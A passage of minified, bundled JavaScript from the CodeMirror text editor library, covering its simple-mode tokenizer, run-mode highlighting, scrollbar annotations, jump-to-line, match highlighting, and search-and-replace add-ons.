k!=1/0&&(e.string=h),n},indent:function(c,d){var e=c.innerActive?c.innerActive.mode:b;return e.indent?e.indent(c.innerActive?c.inner:c.outer,d):a.Pass},blankLine:function(c){var e=c.innerActive?c.innerActive.mode:b;if(e.blankLine&&e.blankLine(c.innerActive?c.inner:c.outer),c.innerActive)"\n"===c.innerActive.close&&(c.innerActive=c.inner=null);else for(var f=0;f<d.length;++f){var g=d[f];"\n"===g.open&&(c.innerActive=g,c.inner=a.startState(g.mode,e.indent?e.indent(c.outer,""):0))}},electricChars:b.electricChars,innerMode:function(a){return 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e,f;return b.blankLine&&(e=b.blankLine(a.base)),c.blankLine&&(f=c.blankLine(a.overlay)),null==f?e:d&&null!=e?e+" "+f:f}}}})},{"../../lib/codemirror":59}],38:[function(a,b,c){!function(d){"object"==typeof c&&"object"==typeof b?d(a("../../lib/codemirror")):"function"==typeof define&&define.amd?define(["../../lib/codemirror"],d):d(CodeMirror)}(function(a){"use strict";function b(a,b){if(!a.hasOwnProperty(b))throw new Error("Undefined state "+b+" in simple mode")}function c(a,b){if(!a)return/(?:)/;var c="";return a instanceof RegExp?(a.ignoreCase&&(c="i"),a=a.source):a=String(a),new RegExp((b===!1?"":"^")+"(?:"+a+")",c)}function d(a){if(!a)return null;if(a.apply)return a;if("string"==typeof a)return a.replace(/\./g," ");for(var b=[],c=0;c<a.length;c++)b.push(a[c]&&a[c].replace(/\./g," "));return b}function e(a,e){(a.next||a.push)&&b(e,a.next||a.push),this.regex=c(a.regex),this.token=d(a.token),this.data=a}function f(a,b){return function(c,d){if(d.pending){var e=d.pending.shift();return 0==d.pending.length&&(d.pending=null),c.pos+=e.text.length,e.token}if(d.local){if(d.local.end&&c.match(d.local.end)){var f=d.local.endToken||null;return d.local=d.localState=null,f}var g,f=d.local.mode.token(c,d.localState);return d.local.endScan&&(g=d.local.endScan.exec(c.current()))&&(c.pos=c.start+g.index),f}for(var i=a[d.state],j=0;j<i.length;j++){var k=i[j],l=(!k.data.sol||c.sol())&&c.match(k.regex);if(l){k.data.next?d.state=k.data.next:k.data.push?((d.stack||(d.stack=[])).push(d.state),d.state=k.data.push):k.data.pop&&d.stack&&d.stack.length&&(d.state=d.stack.pop()),k.data.mode&&h(b,d,k.data.mode,k.token),k.data.indent&&d.indent.push(c.indentation()+b.indentUnit),k.data.dedent&&d.indent.pop();var m=k.token;if(m&&m.apply&&(m=m(l)),l.length>2){d.pending=[];for(var n=2;n<l.length;n++)l[n]&&d.pending.push({text:l[n],token:k.token[n-1]});return c.backUp(l[0].length-(l[1]?l[1].length:0)),m[0]}return m&&m.join?m[0]:m}}return c.next(),null}}function g(a,b){if(a===b)return!0;if(!a||"object"!=typeof a||!b||"object"!=typeof b)return!1;var c=0;for(var d in a)if(a.hasOwnProperty(d)){if(!b.hasOwnProperty(d)||!g(a[d],b[d]))return!1;c++}for(var d in b)b.hasOwnProperty(d)&&c--;return 0==c}function h(b,d,e,f){var h;if(e.persistent)for(var i=d.persistentStates;i&&!h;i=i.next)(e.spec?g(e.spec,i.spec):e.mode==i.mode)&&(h=i);var j=h?h.mode:e.mode||a.getMode(b,e.spec),k=h?h.state:a.startState(j);e.persistent&&!h&&(d.persistentStates={mode:j,spec:e.spec,state:k,next:d.persistentStates}),d.localState=k,d.local={mode:j,end:e.end&&c(e.end),endScan:e.end&&e.forceEnd!==!1&&c(e.end,!1),endToken:f&&f.join?f[f.length-1]:f}}function i(a,b){for(var c=0;c<b.length;c++)if(b[c]===a)return!0}function j(b,c){return function(d,e,f){if(d.local&&d.local.mode.indent)return d.local.mode.indent(d.localState,e,f);if(null==d.indent||d.local||c.dontIndentStates&&i(d.state,c.dontIndentStates)>-1)return a.Pass;var g=d.indent.length-1,h=b[d.state];a:for(;;){for(var j=0;j<h.length;j++){var k=h[j];if(k.data.dedent&&k.data.dedentIfLineStart!==!1){var l=k.regex.exec(e);if(l&&l[0]){g--,(k.next||k.push)&&(h=b[k.next||k.push]),e=e.slice(l[0].length);continue a}}}break}return g<0?0:d.indent[g]}}a.defineSimpleMode=function(b,c){a.defineMode(b,function(b){return a.simpleMode(b,c)})},a.simpleMode=function(c,d){b(d,"start");var g={},h=d.meta||{},i=!1;for(var k in d)if(k!=h&&d.hasOwnProperty(k))for(var l=g[k]=[],m=d[k],n=0;n<m.length;n++){var o=m[n];l.push(new e(o,d)),(o.indent||o.dedent)&&(i=!0)}var p={startState:function(){return{state:"start",pending:null,local:null,localState:null,indent:i?[]:null}},copyState:function(b){var c={state:b.state,pending:b.pending,local:b.local,localState:null,indent:b.indent&&b.indent.slice(0)};b.localState&&(c.localState=a.copyState(b.local.mode,b.localState)),b.stack&&(c.stack=b.stack.slice(0));for(var d=b.persistentStates;d;d=d.next)c.persistentStates={mode:d.mode,spec:d.spec,state:d.state==b.localState?c.localState:a.copyState(d.mode,d.state),next:c.persistentStates};return c},token:f(g,c),innerMode:function(a){return a.local&&{mode:a.local.mode,state:a.localState}},indent:j(g,h)};if(h)for(var q in h)h.hasOwnProperty(q)&&(p[q]=h[q]);return p}})},{"../../lib/codemirror":59}],39:[function(a,b,c){!function(d){"object"==typeof c&&"object"==typeof b?d(a("../../lib/codemirror"),a("./runmode")):"function"==typeof define&&define.amd?define(["../../lib/codemirror","./runmode"],d):d(CodeMirror)}(function(a){"use strict";function b(a,d){if(3==a.nodeType)return d.push(a.nodeValue);for(var e=a.firstChild;e;e=e.nextSibling)b(e,d),c.test(a.nodeType)&&d.push("\n")}var c=/^(p|li|div|h\\d|pre|blockquote|td)$/;a.colorize=function(c,d){c||(c=document.body.getElementsByTagName("pre"));for(var e=0;e<c.length;++e){var f=c[e],g=f.getAttribute("data-lang")||d;if(g){var h=[];b(f,h),f.innerHTML="",a.runMode(h.join(""),g,f),f.className+=" cm-s-default"}}}})},{"../../lib/codemirror":59,"./runmode":41}],40:[function(a,b,c){window.CodeMirror={},function(){"use strict";function a(a){return a.split(/\r?\n|\r/)}function b(a){this.pos=this.start=0,this.string=a,this.lineStart=0}b.prototype={eol:function(){return this.pos>=this.string.length},sol:function(){return 0==this.pos},peek:function(){return this.string.charAt(this.pos)||null},next:function(){if(this.pos<this.string.length)return this.string.charAt(this.pos++)},eat:function(a){var b=this.string.charAt(this.pos);if("string"==typeof a)var c=b==a;else var c=b&&(a.test?a.test(b):a(b));if(c)return++this.pos,b},eatWhile:function(a){for(var b=this.pos;this.eat(a););return this.pos>b},eatSpace:function(){for(var a=this.pos;/[\s\u00a0]/.test(this.string.charAt(this.pos));)++this.pos;return this.pos>a},skipToEnd:function(){this.pos=this.string.length},skipTo:function(a){var b=this.string.indexOf(a,this.pos);if(b>-1)return this.pos=b,!0},backUp:function(a){this.pos-=a},column:function(){return this.start-this.lineStart},indentation:function(){return 0},match:function(a,b,c){if("string"!=typeof a){var d=this.string.slice(this.pos).match(a);return d&&d.index>0?null:(d&&b!==!1&&(this.pos+=d[0].length),d)}var e=function(a){return c?a.toLowerCase():a},f=this.string.substr(this.pos,a.length);if(e(f)==e(a))return b!==!1&&(this.pos+=a.length),!0},current:function(){return this.string.slice(this.start,this.pos)},hideFirstChars:function(a,b){this.lineStart+=a;try{return b()}finally{this.lineStart-=a}},lookAhead:function(){return null}},CodeMirror.StringStream=b,CodeMirror.startState=function(a,b,c){return!a.startState||a.startState(b,c)};var c=CodeMirror.modes={},d=CodeMirror.mimeModes={};CodeMirror.defineMode=function(a,b){arguments.length>2&&(b.dependencies=Array.prototype.slice.call(arguments,2)),c[a]=b},CodeMirror.defineMIME=function(a,b){d[a]=b},CodeMirror.resolveMode=function(a){return"string"==typeof a&&d.hasOwnProperty(a)?a=d[a]:a&&"string"==typeof a.name&&d.hasOwnProperty(a.name)&&(a=d[a.name]),"string"==typeof a?{name:a}:a||{name:"null"}},CodeMirror.getMode=function(a,b){b=CodeMirror.resolveMode(b);var d=c[b.name];if(!d)throw new Error("Unknown mode: "+b);return d(a,b)},CodeMirror.registerHelper=CodeMirror.registerGlobalHelper=Math.min,CodeMirror.defineMode("null",function(){return{token:function(a){a.skipToEnd()}}}),CodeMirror.defineMIME("text/plain","null"),CodeMirror.runMode=function(b,c,d,e){var f=CodeMirror.getMode({indentUnit:2},c);if(1==d.nodeType){var g=e&&e.tabSize||4,h=d,i=0;h.innerHTML="",d=function(a,b){if("\n"==a)return h.appendChild(document.createElement("br")),void(i=0);for(var c="",d=0;;){var e=a.indexOf("\t",d);if(e==-1){c+=a.slice(d),i+=a.length-d;break}i+=e-d,c+=a.slice(d,e);var f=g-i%g;i+=f;for(var j=0;j<f;++j)c+=" ";d=e+1}if(b){var k=h.appendChild(document.createElement("span"));k.className="cm-"+b.replace(/ +/g," cm-"),k.appendChild(document.createTextNode(c))}else h.appendChild(document.createTextNode(c))}}for(var j=a(b),k=e&&e.state||CodeMirror.startState(f),l=0,m=j.length;l<m;++l){l&&d("\n");var n=new CodeMirror.StringStream(j[l]);for(!n.string&&f.blankLine&&f.blankLine(k);!n.eol();){var o=f.token(n,k);d(n.current(),o,l,n.start,k),n.start=n.pos}}}}()},{}],41:[function(a,b,c){!function(d){"object"==typeof c&&"object"==typeof b?d(a("../../lib/codemirror")):"function"==typeof define&&define.amd?define(["../../lib/codemirror"],d):d(CodeMirror)}(function(a){"use strict";a.runMode=function(b,c,d,e){var f=a.getMode(a.defaults,c),g=/MSIE \d/.test(navigator.userAgent),h=g&&(null==document.documentMode||document.documentMode<9);if(d.appendChild){var i=e&&e.tabSize||a.defaults.tabSize,j=d,k=0;j.innerHTML="",d=function(a,b){if("\n"==a)return j.appendChild(document.createTextNode(h?"\r":a)),void(k=0);for(var c="",d=0;;){var e=a.indexOf("\t",d);if(e==-1){c+=a.slice(d),k+=a.length-d;break}k+=e-d,c+=a.slice(d,e);var f=i-k%i;k+=f;for(var g=0;g<f;++g)c+=" ";d=e+1}if(b){var l=j.appendChild(document.createElement("span"));l.className="cm-"+b.replace(/ +/g," cm-"),l.appendChild(document.createTextNode(c))}else j.appendChild(document.createTextNode(c))}}for(var l=a.splitLines(b),m=e&&e.state||a.startState(f),n=0,o=l.length;n<o;++n){n&&d("\n");var p=new a.StringStream(l[n]);for(!p.string&&f.blankLine&&f.blankLine(m);!p.eol();){var q=f.token(p,m);d(p.current(),q,n,p.start,m),p.start=p.pos}}}})},{"../../lib/codemirror":59}],42:[function(a,b,c){!function(d){"object"==typeof c&&"object"==typeof b?d(a("../../lib/codemirror")):"function"==typeof define&&define.amd?define(["../../lib/codemirror"],d):d(CodeMirror)}(function(a){"use strict";function b(a,b){function c(a){clearTimeout(d.doRedraw),d.doRedraw=setTimeout(function(){d.redraw()},a)}this.cm=a,this.options=b,this.buttonHeight=b.scrollButtonHeight||a.getOption("scrollButtonHeight"),this.annotations=[],this.doRedraw=this.doUpdate=null,this.div=a.getWrapperElement().appendChild(document.createElement("div")),this.div.style.cssText="position: absolute; right: 0; top: 0; z-index: 7; pointer-events: none",this.computeScale();var d=this;a.on("refresh",this.resizeHandler=function(){clearTimeout(d.doUpdate),d.doUpdate=setTimeout(function(){d.computeScale()&&c(20)},100)}),a.on("markerAdded",this.resizeHandler),a.on("markerCleared",this.resizeHandler),b.listenForChanges!==!1&&a.on("change",this.changeHandler=function(){c(250)})}a.defineExtension("annotateScrollbar",function(a){return"string"==typeof a&&(a={className:a}),new b(this,a)}),a.defineOption("scrollButtonHeight",0),b.prototype.computeScale=function(){var a=this.cm,b=(a.getWrapperElement().clientHeight-a.display.barHeight-2*this.buttonHeight)/a.getScrollerElement().scrollHeight;if(b!=this.hScale)return this.hScale=b,!0},b.prototype.update=function(a){this.annotations=a,this.redraw()},b.prototype.redraw=function(a){function b(a,b){if(i!=a.line&&(i=a.line,j=c.getLineHandle(i)),j.widgets&&j.widgets.length||g&&j.height>h)return c.charCoords(a,"local")[b?"top":"bottom"];var d=c.heightAtLine(j,"local");return d+(b?0:j.height)}a!==!1&&this.computeScale();var c=this.cm,d=this.hScale,e=document.createDocumentFragment(),f=this.annotations,g=c.getOption("lineWrapping"),h=g&&1.5*c.defaultTextHeight(),i=null,j=null,k=c.lastLine();if(c.display.barWidth)for(var l,m=0;m<f.length;m++){var n=f[m];if(!(n.to.line>k)){for(var o=l||b(n.from,!0)*d,p=b(n.to,!1)*d;m<f.length-1&&!(f[m+1].to.line>k)&&(l=b(f[m+1].from,!0)*d,!(l>p+.9));)n=f[++m],p=b(n.to,!1)*d;if(p!=o){var q=Math.max(p-o,3),r=e.appendChild(document.createElement("div"));r.style.cssText="position: absolute; right: 0px; width: "+Math.max(c.display.barWidth-1,2)+"px; top: "+(o+this.buttonHeight)+"px; height: "+q+"px",r.className=this.options.className,n.id&&r.setAttribute("annotation-id",n.id)}}}this.div.textContent="",this.div.appendChild(e)},b.prototype.clear=function(){this.cm.off("refresh",this.resizeHandler),this.cm.off("markerAdded",this.resizeHandler),this.cm.off("markerCleared",this.resizeHandler),this.changeHandler&&this.cm.off("change",this.changeHandler),this.div.parentNode.removeChild(this.div)}})},{"../../lib/codemirror":59}],43:[function(a,b,c){!function(d){"object"==typeof c&&"object"==typeof b?d(a("../../lib/codemirror")):"function"==typeof define&&define.amd?define(["../../lib/codemirror"],d):d(CodeMirror)}(function(a){"use strict";function b(b,d){a.changeEnd(d).line==b.lastLine()&&c(b)}function c(a){var b="";if(a.lineCount()>1){var d=a.display.scroller.clientHeight-30,e=a.getLineHandle(a.lastLine()).height;b=d-e+"px"}a.state.scrollPastEndPadding!=b&&(a.state.scrollPastEndPadding=b,a.display.lineSpace.parentNode.style.paddingBottom=b,a.off("refresh",c),a.setSize(),a.on("refresh",c))}a.defineOption("scrollPastEnd",!1,function(d,e,f){f&&f!=a.Init&&(d.off("change",b),d.off("refresh",c),d.display.lineSpace.parentNode.style.paddingBottom="",d.state.scrollPastEndPadding=null),e&&(d.on("change",b),d.on("refresh",c),c(d))})})},{"../../lib/codemirror":59}],44:[function(a,b,c){!function(d){"object"==typeof c&&"object"==typeof b?d(a("../../lib/codemirror")):"function"==typeof define&&define.amd?define(["../../lib/codemirror"],d):d(CodeMirror)}(function(a){"use strict";function b(b,c,d){function e(b){var c=a.wheelEventPixels(b)["horizontal"==f.orientation?"x":"y"],d=f.pos;f.moveTo(f.pos+c),f.pos!=d&&a.e_preventDefault(b)}this.orientation=c,this.scroll=d,this.screen=this.total=this.size=1,this.pos=0,this.node=document.createElement("div"),this.node.className=b+"-"+c,this.inner=this.node.appendChild(document.createElement("div"));var f=this;a.on(this.inner,"mousedown",function(b){function c(){a.off(document,"mousemove",d),a.off(document,"mouseup",c)}function d(a){return 1!=a.which?c():void f.moveTo(h+(a[e]-g)*(f.total/f.size))}if(1==b.which){a.e_preventDefault(b);var e="horizontal"==f.orientation?"pageX":"pageY",g=b[e],h=f.pos;a.on(document,"mousemove",d),a.on(document,"mouseup",c)}}),a.on(this.node,"click",function(b){a.e_preventDefault(b);var c,d=f.inner.getBoundingClientRect();c="horizontal"==f.orientation?b.clientX<d.left?-1:b.clientX>d.right?1:0:b.clientY<d.top?-1:b.clientY>d.bottom?1:0,f.moveTo(f.pos+c*f.screen)}),a.on(this.node,"mousewheel",e),a.on(this.node,"DOMMouseScroll",e)}function c(a,c,d){this.addClass=a,this.horiz=new b(a,"horizontal",d),c(this.horiz.node),this.vert=new b(a,"vertical",d),c(this.vert.node),this.width=null}b.prototype.setPos=function(a,b){return a<0&&(a=0),a>this.total-this.screen&&(a=this.total-this.screen),!(!b&&a==this.pos)&&(this.pos=a,this.inner.style["horizontal"==this.orientation?"left":"top"]=a*(this.size/this.total)+"px",!0)},b.prototype.moveTo=function(a){this.setPos(a)&&this.scroll(a,this.orientation)};var d=10;b.prototype.update=function(a,b,c){var e=this.screen!=b||this.total!=a||this.size!=c;e&&(this.screen=b,this.total=a,this.size=c);var f=this.screen*(this.size/this.total);f<d&&(this.size-=d-f,f=d),this.inner.style["horizontal"==this.orientation?"width":"height"]=f+"px",this.setPos(this.pos,e)},c.prototype.update=function(a){if(null==this.width){var b=window.getComputedStyle?window.getComputedStyle(this.horiz.node):this.horiz.node.currentStyle;b&&(this.width=parseInt(b.height))}var c=this.width||0,d=a.scrollWidth>a.clientWidth+1,e=a.scrollHeight>a.clientHeight+1;return this.vert.node.style.display=e?"block":"none",this.horiz.node.style.display=d?"block":"none",e&&(this.vert.update(a.scrollHeight,a.clientHeight,a.viewHeight-(d?c:0)),this.vert.node.style.bottom=d?c+"px":"0"),d&&(this.horiz.update(a.scrollWidth,a.clientWidth,a.viewWidth-(e?c:0)-a.barLeft),this.horiz.node.style.right=e?c+"px":"0",this.horiz.node.style.left=a.barLeft+"px"),{right:e?c:0,bottom:d?c:0}},c.prototype.setScrollTop=function(a){this.vert.setPos(a)},c.prototype.setScrollLeft=function(a){this.horiz.setPos(a)},c.prototype.clear=function(){var a=this.horiz.node.parentNode;a.removeChild(this.horiz.node),a.removeChild(this.vert.node)},a.scrollbarModel.simple=function(a,b){return new c("CodeMirror-simplescroll",a,b)},a.scrollbarModel.overlay=function(a,b){return new c("CodeMirror-overlayscroll",a,b)}})},{"../../lib/codemirror":59}],45:[function(a,b,c){!function(d){"object"==typeof c&&"object"==typeof b?d(a("../../lib/codemirror"),a("../dialog/dialog")):"function"==typeof define&&define.amd?define(["../../lib/codemirror","../dialog/dialog"],d):d(CodeMirror)}(function(a){"use strict";function b(a,b,c,d,e){a.openDialog?a.openDialog(b,e,{value:d,selectValueOnOpen:!0}):e(prompt(c,d))}function c(a,b){var c=Number(b);return/^[-+]/.test(b)?a.getCursor().line+c:c-1}var d='Jump to line: <input type="text" style="width: 10em" class="CodeMirror-search-field"/> <span style="color: #888" class="CodeMirror-search-hint">(Use line:column or scroll% syntax)</span>';a.commands.jumpToLine=function(a){var e=a.getCursor();b(a,d,"Jump to line:",e.line+1+":"+e.ch,function(b){if(b){var d;if(d=/^\s*([\+\-]?\d+)\s*\:\s*(\d+)\s*$/.exec(b))a.setCursor(c(a,d[1]),Number(d[2]));else if(d=/^\s*([\+\-]?\d+(\.\d+)?)\%\s*/.exec(b)){var f=Math.round(a.lineCount()*Number(d[1])/100);/^[-+]/.test(d[1])&&(f=e.line+f+1),a.setCursor(f-1,e.ch)}else(d=/^\s*\:?\s*([\+\-]?\d+)\s*/.exec(b))&&a.setCursor(c(a,d[1]),e.ch)}})},a.keyMap["default"]["Alt-G"]="jumpToLine"})},{"../../lib/codemirror":59,"../dialog/dialog":3}],46:[function(a,b,c){!function(d){"object"==typeof c&&"object"==typeof b?d(a("../../lib/codemirror"),a("./matchesonscrollbar")):"function"==typeof define&&define.amd?define(["../../lib/codemirror","./matchesonscrollbar"],d):d(CodeMirror)}(function(a){"use strict";function b(a){this.options={};for(var b in l)this.options[b]=(a&&a.hasOwnProperty(b)?a:l)[b];this.overlay=this.timeout=null,this.matchesonscroll=null,this.active=!1}function c(a){var b=a.state.matchHighlighter;(b.active||a.hasFocus())&&e(a,b)}function d(a){var b=a.state.matchHighlighter;b.active||(b.active=!0,e(a,b))}function e(a,b){clearTimeout(b.timeout),b.timeout=setTimeout(function(){h(a)},b.options.delay)}function f(a,b,c,d){var e=a.state.matchHighlighter;if(a.addOverlay(e.overlay=k(b,c,d)),e.options.annotateScrollbar&&a.showMatchesOnScrollbar){var f=c?new RegExp("\\b"+b+"\\b"):b;e.matchesonscroll=a.showMatchesOnScrollbar(f,!1,{className:"CodeMirror-selection-highlight-scrollbar"})}}function g(a){var b=a.state.matchHighlighter;b.overlay&&(a.removeOverlay(b.overlay),b.overlay=null,b.matchesonscroll&&(b.matchesonscroll.clear(),b.matchesonscroll=null))}function h(a){a.operation(function(){var b=a.state.matchHighlighter;if(g(a),!a.somethingSelected()&&b.options.showToken){for(var c=b.options.showToken===!0?/[\w$]/:b.options.showToken,d=a.getCursor(),e=a.getLine(d.line),h=d.ch,j=h;h&&c.test(e.charAt(h-1));)--h;for(;j<e.length&&c.test(e.charAt(j));)++j;return void(h<j&&f(a,e.slice(h,j),c,b.options.style))}var k=a.getCursor("from"),l=a.getCursor("to");if(k.line==l.line&&(!b.options.wordsOnly||i(a,k,l))){var m=a.getRange(k,l);b.options.trim&&(m=m.replace(/^\s+|\s+$/g,"")),m.length>=b.options.minChars&&f(a,m,!1,b.options.style)}})}function i(a,b,c){var d=a.getRange(b,c);if(null!==d.match(/^\w+$/)){if(b.ch>0){var e={line:b.line,ch:b.ch-1},f=a.getRange(e,b);if(null===f.match(/\W/))return!1}if(c.ch<a.getLine(b.line).length){var e={line:c.line,ch:c.ch+1},f=a.getRange(c,e);if(null===f.match(/\W/))return!1}return!0}return!1}function j(a,b){return!(a.start&&b.test(a.string.charAt(a.start-1))||a.pos!=a.string.length&&b.test(a.string.charAt(a.pos)))}function k(a,b,c){return{token:function(d){return!d.match(a)||b&&!j(d,b)?(d.next(),void(d.skipTo(a.charAt(0))||d.skipToEnd())):c}}}var l={style:"matchhighlight",minChars:2,delay:100,wordsOnly:!1,annotateScrollbar:!1,showToken:!1,trim:!0};a.defineOption("highlightSelectionMatches",!1,function(e,f,i){if(i&&i!=a.Init&&(g(e),clearTimeout(e.state.matchHighlighter.timeout),e.state.matchHighlighter=null,e.off("cursorActivity",c),e.off("focus",d)),f){var j=e.state.matchHighlighter=new b(f);e.hasFocus()?(j.active=!0,h(e)):e.on("focus",d),e.on("cursorActivity",c)}})})},{"../../lib/codemirror":59,"./matchesonscrollbar":47}],47:[function(a,b,c){!function(d){"object"==typeof c&&"object"==typeof b?d(a("../../lib/codemirror"),a("./searchcursor"),a("../scroll/annotatescrollbar")):"function"==typeof define&&define.amd?define(["../../lib/codemirror","./searchcursor","../scroll/annotatescrollbar"],d):d(CodeMirror)}(function(a){"use strict";function b(a,b,c,d){this.cm=a,this.options=d;var e={listenForChanges:!1};for(var f in d)e[f]=d[f];e.className||(e.className="CodeMirror-search-match"),this.annotation=a.annotateScrollbar(e),this.query=b,this.caseFold=c,this.gap={from:a.firstLine(),to:a.lastLine()+1},this.matches=[],this.update=null,this.findMatches(),this.annotation.update(this.matches);var g=this;a.on("change",this.changeHandler=function(a,b){g.onChange(b)})}function c(a,b,c){return a<=b?a:Math.max(b,a+c)}a.defineExtension("showMatchesOnScrollbar",function(a,c,d){return"string"==typeof d&&(d={className:d}),d||(d={}),new b(this,a,c,d)});var d=1e3;b.prototype.findMatches=function(){if(this.gap){for(var b=0;b<this.matches.length;b++){var c=this.matches[b];if(c.from.line>=this.gap.to)break;c.to.line>=this.gap.from&&this.matches.splice(b--,1)}for(var e=this.cm.getSearchCursor(this.query,a.Pos(this.gap.from,0),this.caseFold),f=this.options&&this.options.maxMatches||d;e.findNext();){var c={from:e.from(),to:e.to()};if(c.from.line>=this.gap.to)break;if(this.matches.splice(b++,0,c),this.matches.length>f)break}this.gap=null}},b.prototype.onChange=function(b){var d=b.from.line,e=a.changeEnd(b).line,f=e-b.to.line;if(this.gap?(this.gap.from=Math.min(c(this.gap.from,d,f),b.from.line),this.gap.to=Math.max(c(this.gap.to,d,f),b.from.line)):this.gap={from:b.from.line,to:e+1},f)for(var g=0;g<this.matches.length;g++){var h=this.matches[g],i=c(h.from.line,d,f);i!=h.from.line&&(h.from=a.Pos(i,h.from.ch));var j=c(h.to.line,d,f);j!=h.to.line&&(h.to=a.Pos(j,h.to.ch))}clearTimeout(this.update);var k=this;this.update=setTimeout(function(){k.updateAfterChange()},250)},b.prototype.updateAfterChange=function(){this.findMatches(),this.annotation.update(this.matches)},b.prototype.clear=function(){this.cm.off("change",this.changeHandler),this.annotation.clear()}})},{"../../lib/codemirror":59,"../scroll/annotatescrollbar":42,"./searchcursor":49}],48:[function(a,b,c){!function(d){"object"==typeof c&&"object"==typeof b?d(a("../../lib/codemirror"),a("./searchcursor"),a("../dialog/dialog")):"function"==typeof define&&define.amd?define(["../../lib/codemirror","./searchcursor","../dialog/dialog"],d):d(CodeMirror)}(function(a){"use strict";function b(a,b){return"string"==typeof a?a=new RegExp(a.replace(/[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g,"\\$&"),b?"gi":"g"):a.global||(a=new RegExp(a.source,a.ignoreCase?"gi":"g")),{token:function(b){a.lastIndex=b.pos;var c=a.exec(b.string);return c&&c.index==b.pos?(b.pos+=c[0].length||1,"searching"):void(c?b.pos=c.index:b.skipToEnd())}}}function c(){this.posFrom=this.posTo=this.lastQuery=this.query=null,this.overlay=null}function d(a){return a.state.search||(a.state.search=new c)}function e(a){return"string"==typeof a&&a==a.toLowerCase()}function f(a,b,c){return a.getSearchCursor(b,c,{caseFold:e(b),multiline:!0})}function g(a,b,c,d,e){a.openDialog(b,d,{value:c,selectValueOnOpen:!0,closeOnEnter:!1,onClose:function(){o(a)},onKeyDown:e})}function h(a,b,c,d,e){a.openDialog?a.openDialog(b,e,{value:d,selectValueOnOpen:!0}):e(prompt(c,d))}function i(a,b,c,d){a.openConfirm?a.openConfirm(b,d):confirm(c)&&d[0]()}function j(a){return a.replace(/\\(.)/g,function(a,b){return"n"==b?"\n":"r"==b?"\r":b})}function k(a){var b=a.match(/^\/(.*)\/([a-z]*)$/);if(b)try{a=new RegExp(b[1],b[2].indexOf("i")==-1?"":"i")}catch(c){}else a=j(a);return("string"==typeof a?""==a:a.test(""))&&(a=/x^/),a}function l(a,c,d){c.queryText=d,c.query=k(d),a.removeOverlay(c.overlay,e(c.query)),c.overlay=b(c.query,e(c.query)),a.addOverlay(c.overlay),a.showMatchesOnScrollbar&&(c.annotate&&(c.annotate.clear(),c.annotate=null),c.annotate=a.showMatchesOnScrollbar(c.query,e(c.query)))}function m(b,c,e,f){var i=d(b);if(i.query)return n(b,c);var j=b.getSelection()||i.lastQuery;if(e&&b.openDialog){var k=null,m=function(c,d){a.e_stop(d),c&&(c!=i.queryText&&(l(b,i,c),i.posFrom=i.posTo=b.getCursor()),k&&(k.style.opacity=1),n(b,d.shiftKey,function(a,c){var d;c.line<3&&document.querySelector&&(d=b.display.wrapper.querySelector(".CodeMirror-dialog"))&&d.getBoundingClientRect().bottom-4>b.cursorCoords(c,"window").top&&((k=d).style.opacity=.4)}))};g(b,r,j,m,function(c,e){var f=a.keyName(c),g=b.getOption("extraKeys"),h=g&&g[f]||a.keyMap[b.getOption("keyMap")][f];"findNext"==h||"findPrev"==h||"findPersistentNext"==h||"findPersistentPrev"==h?(a.e_stop(c),l(b,d(b),e),b.execCommand(h)):"find"!=h&&"findPersistent"!=h||(a.e_stop(c),m(e,c))}),f&&j&&(l(b,i,j),n(b,c))}else h(b,r,"Search for:",j,function(a){a&&!i.query&&b.operation(function(){l(b,i,a),i.posFrom=i.posTo=b.getCursor(),n(b,c)})})}function n(b,c,e){b.operation(function(){var g=d(b),h=f(b,g.query,c?g.posFrom:g.posTo);(h.find(c)||(h=f(b,g.query,c?a.Pos(b.lastLine()):a.Pos(b.firstLine(),0)),h.find(c)))&&(b.setSelection(h.from(),h.to()),b.scrollIntoView({from:h.from(),to:h.to()},20),g.posFrom=h.from(),g.posTo=h.to(),e&&e(h.from(),h.to()))})}function o(a){a.operation(function(){var b=d(a);b.lastQuery=b.query,b.query&&(b.query=b.queryText=null,a.removeOverlay(b.overlay),b.annotate&&(b.annotate.clear(),b.annotate=null))})}function p(a,b,c){a.operation(function(){for(var d=f(a,b);d.findNext();)if("string"!=typeof b){var e=a.getRange(d.from(),d.to()).match(b);d.replace(c.replace(/\$(\d)/g,function(a,b){return e[b]}))}else d.replace(c)})}function q(a,b){if(!a.getOption("readOnly")){var c=a.getSelection()||d(a).lastQuery,e='<span class="CodeMirror-search-label">'+(b?"Replace all:":"Replace:")+"</span>";h(a,e+s,e,c,function(c){c&&(c=k(c),h(a,t,"Replace with:","",function(d){if(d=j(d),b)p(a,c,d);else{o(a);var e=f(a,c,a.getCursor("from")),g=function(){var b,j=e.from();!(b=e.findNext())&&(e=f(a,c),!(b=e.findNext())||j&&e.from().line==j.line&&e.from().ch==j.ch)||(a.setSelection(e.from(),e.to()),a.scrollIntoView({from:e.from(),to:e.to()}),i(a,u,"Replace?",[function(){h(b)},g,function(){p(a,c,d)}]))},h=function(a){e.replace("string"==typeof c?d:d.replace(/\$(\d)/g,function(b,c){return a[c]})),g()};g()}}))})}}var r='<span class="CodeMirror-search-label">Search:</span> <input type="text" style="width: 10em" class="CodeMirror-search-field"/> <span style="color: #888" class="CodeMirror-search-hint">(Use /re/ syntax for regexp search)</span>',s=' <input type="text" style="width: 10em" class="CodeMirror-search-field"/> <span style="color: #888" class="CodeMirror-search-hint">(Use /re/ syntax for regexp search)</span>',t='<span class="CodeMirror-search-label">With:</span> <input type="text" style="width: 10em" class="CodeMirror-search-field"/>',u='<span class="CodeMirror-search-label">Replace?</span> <button>Yes</button> <button>No</button> <button>All</button> <button>Stop</button>';a.commands.find=function(a){o(a),m(a)},a.commands.findPersistent=function(a){o(a),m(a,!1,!0)},a.commands.findPersistentNext=function(a){m(a,!1,!0,!0)},a.commands.findPersistentPrev=function(a){m(a,!0,!0,!0)},a.commands.findNext=m,a.commands.findPrev=function(a){m(a,!0)},a.commands.clearSearch=o,a.commands.replace=q,a.commands.replaceAll=function(a){q(a,!0)}})},{"../../lib/codemirror":59,"../dialog/dialog":3,"./searchcursor":49}],49:[function(a,b,c){!function(d){"object"==typeof c&&"object"==typeof b?d(a("../../lib/codemirror")):"function"==typeof define&&define.amd?define(["../../lib/codemirror"],d):d(CodeMirror)}(function(a){"use strict";function b(a){var b=a.flags;return null!=b?b:(a.ignoreCase?"i":"")+(a.global?"g":"")+(a.multiline?"m":"")}function c(a){return a.global?a:new RegExp(a.source,b(a)+"g")}function d(a){return/\\s|\\n|\n|\\W|\\D|\[\^/.test(a.source)}function e(a,b,d){b=c(b);for(var 